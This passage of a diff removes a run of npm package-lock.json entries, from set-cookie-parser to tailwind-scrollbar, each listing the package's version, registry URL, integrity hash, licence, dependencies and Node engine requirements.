"https://registry.npmjs.org/set-cookie-parser/-/set-cookie-parser-3.1.0.tgz", - "integrity": "sha512-kjnC1DXBHcxaOaOXBHBeRtltsDG2nUiUni+jP92M9gYdW12rsmx92UsfpH7o5tDRs7I1ZZPSQJQGv3UaRfCiuw==", - "dev": true, - "license": "MIT" - }, - "node_modules/set-function-length": { - "version": "1.2.2", - "resolved": "https://registry.npmjs.org/set-function-length/-/set-function-length-1.2.2.tgz", - "integrity": "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==", - "dev": true, - "license": "MIT", - "dependencies": { - "define-data-property": "^1.1.4", - "es-errors": "^1.3.0", - "function-bind": "^1.1.2", - "get-intrinsic": "^1.2.4", - "gopd": "^1.0.1", - "has-property-descriptors": "^1.0.2" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/set-function-name": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/set-function-name/-/set-function-name-2.0.2.tgz", - "integrity": "sha512-7PGFlmtwsEADb0WYyvCMa1t+yke6daIG4Wirafur5kcf+MhUnPms1UeR0CKQdTZD81yESwMHbtn+TR+dMviakQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "define-data-property": "^1.1.4", - "es-errors": "^1.3.0", - "functions-have-names": "^1.2.3", - "has-property-descriptors": "^1.0.2" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/set-proto": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/set-proto/-/set-proto-1.0.0.tgz", - "integrity": "sha512-RJRdvCo6IAnPdsvP/7m6bsQqNnn1FCBX5ZNtFL98MmFF/4xAIJTIg1YbHW5DC2W5SKZanrC6i4HsJqlajw/dZw==", - "dev": true, - "license": "MIT", - "dependencies": { - "dunder-proto": "^1.0.1", - "es-errors": "^1.3.0", - "es-object-atoms": "^1.0.0" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/setprototypeof": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", - "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==", - "license": "ISC" - }, - "node_modules/shebang-command": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", - "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", - "dev": true, - "license": "MIT", - "dependencies": { - "shebang-regex": "^3.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/shebang-regex": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", - "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/shell-quote": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.9.0.tgz", - "integrity": "sha512-Iov+JwFv/2HcTpcwNMKd8+IWNb8tboQJNQTkAY/LLVK7gGH9jy+LGkVqPxfekHl+yMmiqXszdGWXgkfml7hjqA==", - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/side-channel": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.0.tgz", - "integrity": "sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==", - "license": "MIT", - "dependencies": { - "es-errors": "^1.3.0", - "object-inspect": "^1.13.3", - "side-channel-list": "^1.0.0", - "side-channel-map": "^1.0.1", - "side-channel-weakmap": "^1.0.2" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/side-channel-list": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.1.tgz", - "integrity": "sha512-mjn/0bi/oUURjc5Xl7IaWi/OJJJumuoJFQJfDDyO46+hBWsfaVM65TBHq2eoZBhzl9EchxOijpkbRC8SVBQU0w==", - "license": "MIT", - "dependencies": { - "es-errors": "^1.3.0", - "object-inspect": "^1.13.4" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/side-channel-map": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz", - "integrity": "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==", - "license": "MIT", - "dependencies": { - "call-bound": "^1.0.2", - "es-errors": "^1.3.0", - "get-intrinsic": "^1.2.5", - "object-inspect": "^1.13.3" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/side-channel-weakmap": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz", - "integrity": "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==", - "license": "MIT", - "dependencies": { - "call-bound": "^1.0.2", - "es-errors": "^1.3.0", - "get-intrinsic": "^1.2.5", - "object-inspect": "^1.13.3", - "side-channel-map": "^1.0.1" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/siginfo": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/siginfo/-/siginfo-2.0.0.tgz", - "integrity": "sha512-ybx0WO1/8bSBLEWXZvEd7gMW3Sn3JFlW3TvX1nREbDLRNQNaeNN8WK0meBwPdAaOI7TtRRRJn/Es1zhrrCHu7g==", - "dev": true, - "license": "ISC" - }, - "node_modules/signal-exit": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz", - "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==", - "dev": true, - "license": "ISC", - "engines": { - "node": ">=14" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/simple-swizzle": { - "version": "0.2.4", - "resolved": "https://registry.npmjs.org/simple-swizzle/-/simple-swizzle-0.2.4.tgz", - "integrity": "sha512-nAu1WFPQSMNr2Zn9PGSZK9AGn4t/y97lEm+MXTtUDwfP0ksAIX4nO+6ruD9Jwut4C49SB1Ws+fbXsm/yScWOHw==", - "license": "MIT", - "dependencies": { - "is-arrayish": "^0.3.1" - } - }, - "node_modules/simple-update-notifier": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/simple-update-notifier/-/simple-update-notifier-2.0.0.tgz", - "integrity": "sha512-a2B9Y0KlNXl9u/vsW6sTIu9vGEpfKu2wRV6l1H3XEas/0gUIzGzBoP/IouTcUQbm9JWZLH3COxyn03TYlFax6w==", - "dev": true, - "license": "MIT", - "dependencies": { - "semver": "^7.5.3" - }, - "engines": { - "node": ">=10" - } - }, - "node_modules/sirv": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/sirv/-/sirv-3.0.2.tgz", - "integrity": "sha512-2wcC/oGxHis/BoHkkPwldgiPSYcpZK3JU28WoMVv55yHJgcZ8rlXvuG9iZggz+sU1d4bRgIGASwyWqjxu3FM0g==", - "license": "MIT", - "dependencies": { - "@polka/url": "^1.0.0-next.24", - "mrmime": "^2.0.0", - "totalist": "^3.0.0" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/sirv-cli": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/sirv-cli/-/sirv-cli-3.0.1.tgz", - "integrity": "sha512-ICXaF2u6IQhLZ0EXF6nqUF4YODfSQSt+mGykt4qqO5rY+oIiwdg7B8w2PVDBJlQulaS2a3J8666CUoDoAuCGvg==", - "license": "MIT", - "dependencies": { - "console-clear": "^1.1.0", - "get-port": "^5.1.1", - "kleur": "^4.1.4", - "local-access": "^1.0.1", - "sade": "^1.6.0", - "semiver": "^1.0.0", - "sirv": "^3.0.0", - "tinydate": "^1.0.0" - }, - "bin": { - "sirv": "bin.js" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/slice-ansi": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-8.0.0.tgz", - "integrity": "sha512-stxByr12oeeOyY2BlviTNQlYV5xOj47GirPr4yA1hE9JCtxfQN0+tVbkxwCtYDQWhEKWFHsEK48ORg5jrouCAg==", - "dev": true, - "license": "MIT", - "dependencies": { - "ansi-styles": "^6.2.3", - "is-fullwidth-code-point": "^5.1.0" - }, - "engines": { - "node": ">=20" - }, - "funding": { - "url": "https://github.com/chalk/slice-ansi?sponsor=1" - } - }, - "node_modules/slice-ansi/node_modules/ansi-styles": { - "version": "6.2.3", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.3.tgz", - "integrity": "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" - } - }, - "node_modules/smart-buffer": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/smart-buffer/-/smart-buffer-4.2.0.tgz", - "integrity": "sha512-94hK0Hh8rPqQl2xXc3HsaBoOXKV20MToPkcXvwbISWLEs+64sBq5kFgn2kJDHb1Pry9yrP0dxrCI9RRci7RXKg==", - "dev": true, - "license": "MIT", - "optional": true, - "engines": { - "node": ">= 6.0.0", - "npm": ">= 3.0.0" - } - }, - "node_modules/snake-case": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/snake-case/-/snake-case-3.0.4.tgz", - "integrity": "sha512-LAOh4z89bGQvl9pFfNF8V146i7o7/CqFPbqzYgP+yYzDIDeS9HaNFtXABamRW+AQzEVODcvE79ljJ+8a9YSdMg==", - "dev": true, - "license": "MIT", - "dependencies": { - "dot-case": "^3.0.4", - "tslib": "^2.0.3" - } - }, - "node_modules/socket.io-client": { - "version": "4.8.3", - "resolved": "https://registry.npmjs.org/socket.io-client/-/socket.io-client-4.8.3.tgz", - "integrity": "sha512-uP0bpjWrjQmUt5DTHq9RuoCBdFJF10cdX9X+a368j/Ft0wmaVgxlrjvK3kjvgCODOMMOz9lcaRzxmso0bTWZ/g==", - "license": "MIT", - "dependencies": { - "@socket.io/component-emitter": "~3.1.0", - "debug": "~4.4.1", - "engine.io-client": "~6.6.1", - "socket.io-parser": "~4.2.4" - }, - "engines": { - "node": ">=10.0.0" - } - }, - "node_modules/socket.io-parser": { - "version": "4.2.6", - "resolved": "https://registry.npmjs.org/socket.io-parser/-/socket.io-parser-4.2.6.tgz", - "integrity": "sha512-asJqbVBDsBCJx0pTqw3WfesSY0iRX+2xzWEWzrpcH7L6fLzrhyF8WPI8UaeM4YCuDfpwA/cgsdugMsmtz8EJeg==", - "license": "MIT", - "dependencies": { - "@socket.io/component-emitter": "~3.1.0", - "debug": "~4.4.1" - }, - "engines": { - "node": ">=10.0.0" - } - }, - "node_modules/source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "license": "BSD-3-Clause", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/source-map-js": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", - "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", - "license": "BSD-3-Clause", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/source-map-support": { - "version": "0.5.21", - "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz", - "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==", - "license": "MIT", - "dependencies": { - "buffer-from": "^1.0.0", - "source-map": "^0.6.0" - } - }, - "node_modules/space-separated-tokens": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/space-separated-tokens/-/space-separated-tokens-2.0.2.tgz", - "integrity": "sha512-PEGlAwrG8yXGXRjW32fGbg66JAlOAwbObuqVoJpv/mRgoWDQfgH1wDPvtzWyUSNAXBGSk8h755YDbbcEy3SH2Q==", - "license": "MIT", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/sprintf-js": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.1.3.tgz", - "integrity": "sha512-Oo+0REFV59/rz3gfJNKQiBlwfHaSESl1pcGyABQsnnIfWOFt6JNj5gCog2U6MLZ//IGYD+nA8nI+mTShREReaA==", - "dev": true, - "license": "BSD-3-Clause", - "optional": true - }, - "node_modules/stable-hash-x": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/stable-hash-x/-/stable-hash-x-0.2.0.tgz", - "integrity": "sha512-o3yWv49B/o4QZk5ZcsALc6t0+eCelPc44zZsLtCQnZPDwFpDYSWcDnrv2TtMmMbQ7uKo3J0HTURCqckw23czNQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=12.0.0" - } - }, - "node_modules/stack-trace": { - "version": "0.0.10", - "resolved": "https://registry.npmjs.org/stack-trace/-/stack-trace-0.0.10.tgz", - "integrity": "sha512-KGzahc7puUKkzyMt+IqAep+TVNbKP+k2Lmwhub39m1AsTSkaDutx56aDCo+HLDzf/D26BIHTJWNiTG1KAJiQCg==", - "license": "MIT", - "engines": { - "node": "*" - } - }, - "node_modules/stackback": { - "version": "0.0.2", - "resolved": "https://registry.npmjs.org/stackback/-/stackback-0.0.2.tgz", - "integrity": "sha512-1XMJE5fQo1jGH6Y/7ebnwPOBEkIEnT4QF32d5R1+VXdXveM0IBMJt8zfaxX1P3QhVwrYe+576+jkANtSS2mBbw==", - "dev": true, - "license": "MIT" - }, - "node_modules/stat-mode": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/stat-mode/-/stat-mode-1.0.0.tgz", - "integrity": "sha512-jH9EhtKIjuXZ2cWxmXS8ZP80XyC3iasQxMDV8jzhNJpfDb7VbQLVW4Wvsxz9QZvzV+G4YoSfBUVKDOyxLzi/sg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 6" - } - }, - "node_modules/state-local": { - "version": "1.0.7", - "resolved": "https://registry.npmjs.org/state-local/-/state-local-1.0.7.tgz", - "integrity": "sha512-HTEHMNieakEnoe33shBYcZ7NX83ACUjCu8c40iOGEZsngj9zRnkqS9j1pqQPXwobB0ZcVTk27REb7COQ0UR59w==", - "license": "MIT" - }, - "node_modules/statuses": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.2.tgz", - "integrity": "sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw==", - "license": "MIT", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/std-env": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/std-env/-/std-env-4.1.0.tgz", - "integrity": "sha512-Rq7ybcX2RuC55r9oaPVEW7/xu3tj8u4GeBYHBWCychFtzMIr86A7e3PPEBPT37sHStKX3+TiX/Fr/ACmJLVlLQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/stop-iteration-iterator": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/stop-iteration-iterator/-/stop-iteration-iterator-1.1.0.tgz", - "integrity": "sha512-eLoXW/DHyl62zxY4SCaIgnRhuMr6ri4juEYARS8E6sCEqzKpOiE521Ucofdx+KnDZl5xmvGYaaKCk5FEOxJCoQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "es-errors": "^1.3.0", - "internal-slot": "^1.1.0" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/strict-event-emitter": { - "version": "0.5.1", - "resolved": "https://registry.npmjs.org/strict-event-emitter/-/strict-event-emitter-0.5.1.tgz", - "integrity": "sha512-vMgjE/GGEPEFnhFub6pa4FmJBRBVOLpIII2hvCZ8Kzb7K0hlHo7mQv6xYrBvCL2LtAIBwFUK8wvuJgTVSQ5MFQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/string_decoder": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", - "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", - "license": "MIT", - "dependencies": { - "safe-buffer": "~5.2.0" - } - }, - "node_modules/string-argv": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/string-argv/-/string-argv-0.3.2.tgz", - "integrity": "sha512-aqD2Q0144Z+/RqG52NeHEkZauTAUWJO8c6yTftGJKO3Tja5tUgIfmIl6kExvhtxSDP7fXB6DvzkfMpCd/F3G+Q==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.6.19" - } - }, - "node_modules/string-width": { - "version": "8.2.1", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-8.2.1.tgz", - "integrity": "sha512-IIaP0g3iy9Cyy18w3M9YcaDudujEAVHKt3a3QJg1+sr/oX96TbaGUubG0hJyCjCBThFH+tFpcIyoUHUn1ogaLA==", - "dev": true, - "license": "MIT", - "dependencies": { - "get-east-asian-width": "^1.5.0", - "strip-ansi": "^7.1.2" - }, - "engines": { - "node": ">=20" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/string.prototype.includes": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/string.prototype.includes/-/string.prototype.includes-2.0.1.tgz", - "integrity": "sha512-o7+c9bW6zpAdJHTtujeePODAhkuicdAryFsfVKwA+wGw89wJ4GTY484WTucM9hLtDEOpOvI+aHnzqnC5lHp4Rg==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bind": "^1.0.7", - "define-properties": "^1.2.1", - "es-abstract": "^1.23.3" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/string.prototype.matchall": { - "version": "4.0.12", - "resolved": "https://registry.npmjs.org/string.prototype.matchall/-/string.prototype.matchall-4.0.12.tgz", - "integrity": "sha512-6CC9uyBL+/48dYizRf7H7VAYCMCNTBeM78x/VTUe9bFEaxBepPJDa1Ow99LqI/1yF7kuy7Q3cQsYMrcjGUcskA==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bind": "^1.0.8", - "call-bound": "^1.0.3", - "define-properties": "^1.2.1", - "es-abstract": "^1.23.6", - "es-errors": "^1.3.0", - "es-object-atoms": "^1.0.0", - "get-intrinsic": "^1.2.6", - "gopd": "^1.2.0", - "has-symbols": "^1.1.0", - "internal-slot": "^1.1.0", - "regexp.prototype.flags": "^1.5.3", - "set-function-name": "^2.0.2", - "side-channel": "^1.1.0" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/string.prototype.repeat": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/string.prototype.repeat/-/string.prototype.repeat-1.0.0.tgz", - "integrity": "sha512-0u/TldDbKD8bFCQ/4f5+mNRrXwZ8hg2w7ZR8wa16e8z9XpePWl3eGEcUD0OXpEH/VJH/2G3gjUtR3ZOiBe2S/w==", - "dev": true, - "license": "MIT", - "dependencies": { - "define-properties": "^1.1.3", - "es-abstract": "^1.17.5" - } - }, - "node_modules/string.prototype.trim": { - "version": "1.2.10", - "resolved": "https://registry.npmjs.org/string.prototype.trim/-/string.prototype.trim-1.2.10.tgz", - "integrity": "sha512-Rs66F0P/1kedk5lyYyH9uBzuiI/kNRmwJAR9quK6VOtIpZ2G+hMZd+HQbbv25MgCA6gEffoMZYxlTod4WcdrKA==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bind": "^1.0.8", - "call-bound": "^1.0.2", - "define-data-property": "^1.1.4", - "define-properties": "^1.2.1", - "es-abstract": "^1.23.5", - "es-object-atoms": "^1.0.0", - "has-property-descriptors": "^1.0.2" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/string.prototype.trimend": { - "version": "1.0.9", - "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.9.tgz", - "integrity": "sha512-G7Ok5C6E/j4SGfyLCloXTrngQIQU3PWtXGst3yM7Bea9FRURf1S42ZHlZZtsNque2FN2PoUhfZXYLNWwEr4dLQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bind": "^1.0.8", - "call-bound": "^1.0.2", - "define-properties": "^1.2.1", - "es-object-atoms": "^1.0.0" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/string.prototype.trimstart": { - "version": "1.0.8", - "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.8.tgz", - "integrity": "sha512-UXSH262CSZY1tfu3G3Secr6uGLCFVPMhIqHjlgCUtCCcgihYc/xKs9djMTMUOb2j1mVSeU8EU6NWc/iQKU6Gfg==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bind": "^1.0.7", - "define-properties": "^1.2.1", - "es-object-atoms": "^1.0.0" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/stringify-entities": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/stringify-entities/-/stringify-entities-4.0.4.tgz", - "integrity": "sha512-IwfBptatlO+QCJUo19AqvrPNqlVMpW9YEL2LIVY+Rpv2qsjCGxaDLNRgeGsQWJhfItebuJhsGSLjaBbNSQ+ieg==", - "license": "MIT", - "dependencies": { - "character-entities-html4": "^2.0.0", - "character-entities-legacy": "^3.0.0" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/strip-ansi": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.2.0.tgz", - "integrity": "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w==", - "dev": true, - "license": "MIT", - "dependencies": { - "ansi-regex": "^6.2.2" - }, - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/chalk/strip-ansi?sponsor=1" - } - }, - "node_modules/strip-ansi/node_modules/ansi-regex": { - "version": "6.2.2", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", - "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/chalk/ansi-regex?sponsor=1" - } - }, - "node_modules/strip-indent": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-3.0.0.tgz", - "integrity": "sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "min-indent": "^1.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/strip-json-comments": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", - "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/style-to-js": { - "version": "1.1.21", - "resolved": "https://registry.npmjs.org/style-to-js/-/style-to-js-1.1.21.tgz", - "integrity": "sha512-RjQetxJrrUJLQPHbLku6U/ocGtzyjbJMP9lCNK7Ag0CNh690nSH8woqWH9u16nMjYBAok+i7JO1NP2pOy8IsPQ==", - "license": "MIT", - "dependencies": { - "style-to-object": "1.0.14" - } - }, - "node_modules/style-to-object": { - "version": "1.0.14", - "resolved": "https://registry.npmjs.org/style-to-object/-/style-to-object-1.0.14.tgz", - "integrity": "sha512-LIN7rULI0jBscWQYaSswptyderlarFkjQ+t79nzty8tcIAceVomEVlLzH5VP4Cmsv6MtKhs7qaAiwlcp+Mgaxw==", - "license": "MIT", - "dependencies": { - "inline-style-parser": "0.2.7" - } - }, - "node_modules/sumchecker": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/sumchecker/-/sumchecker-3.0.1.tgz", - "integrity": "sha512-MvjXzkz/BOfyVDkG0oFOtBxHX2u3gKbMHIF/dXblZsgD3BWOFLmHovIpZY7BykJdAjcqRCBi1WYBNdEC9yI7vg==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "debug": "^4.1.0" - }, - "engines": { - "node": ">= 8.0" - } - }, - "node_modules/supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "license": "MIT", - "dependencies": { - "has-flag": "^4.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/supports-preserve-symlinks-flag": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", - "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/svg-parser": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/svg-parser/-/svg-parser-2.0.4.tgz", - "integrity": "sha512-e4hG1hRwoOdRb37cIMSgzNsxyzKfayW6VOflrwvR+/bzrkyxY/31WkbgnQpgtrNp1SdpJvpUAGTa/ZoiPNDuRQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/symbol-tree": { - "version": "3.2.4", - "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz", - "integrity": "sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw==", - "dev": true, - "license": "MIT" - }, - "node_modules/synckit": { - "version": "0.11.13", - "resolved": "https://registry.npmjs.org/synckit/-/synckit-0.11.13.tgz", - "integrity": "sha512-eNRKgb3z66Yp3D2CixVujOUvXLFUTij/zVnV8KRyvFdQwpz7I5DS8UfRkTeLzb64u+dkzDSdelE24izu+zSSUg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@pkgr/core": "^0.3.6" - }, - "engines": { - "node": "^14.18.0 || >=16.0.0" - }, - "funding": { - "url": "https://opencollective.com/synckit" - } - }, - "node_modules/tagged-tag": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/tagged-tag/-/tagged-tag-1.0.0.tgz", - "integrity": "sha512-yEFYrVhod+hdNyx7g5Bnkkb0G6si8HJurOoOEgC8B/O0uXLHlaey/65KRv6cuWBNhBgHKAROVpc7QyYqE5gFng==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=20" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/tailwind-merge": { - "version": "3.5.0", - "resolved": "https://registry.npmjs.org/tailwind-merge/-/tailwind-merge-3.5.0.tgz", - "integrity": "sha512-I8K9wewnVDkL1NTGoqWmVEIlUcB9gFriAEkXkfCjX5ib8ezGxtR3xD7iZIxrfArjEsH7F1CHD4RFUtxefdqV/A==", - "license": "MIT", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/dcastil" - } - }, - "node_modules/tailwind-scrollbar": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/tailwind-scrollbar/-/tailwind-scrollbar-4.0.2.tgz", - "integrity": 